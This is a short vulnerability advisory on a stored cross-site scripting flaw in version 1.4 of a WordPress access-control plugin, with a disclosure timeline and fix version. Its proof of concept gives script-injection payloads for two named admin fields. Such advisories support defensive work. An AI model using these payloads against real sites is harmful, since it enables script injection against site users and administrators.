Plugin Name : Htaccess
 
Effected Version : 1.4 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=htaccess.php
 
htccss_allow = “></textarea><script>alert(1)</script>
 
htccss_deny = “></textarea><script>alert(2)</script>
 
Vulnerable Parameter : htccss_allow, htccss_deny
 
Type of XSS :  Stored
 
Fixed in : 1.5
 
http://wordpress.org/plugins/htaccess/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
The plugin Htaccess allows to controll access to your website. Access can be controlled based on the client's hostname, IP address, or other characteristics of the client's request. It is very simple and has just two the directives like Allow and Deny.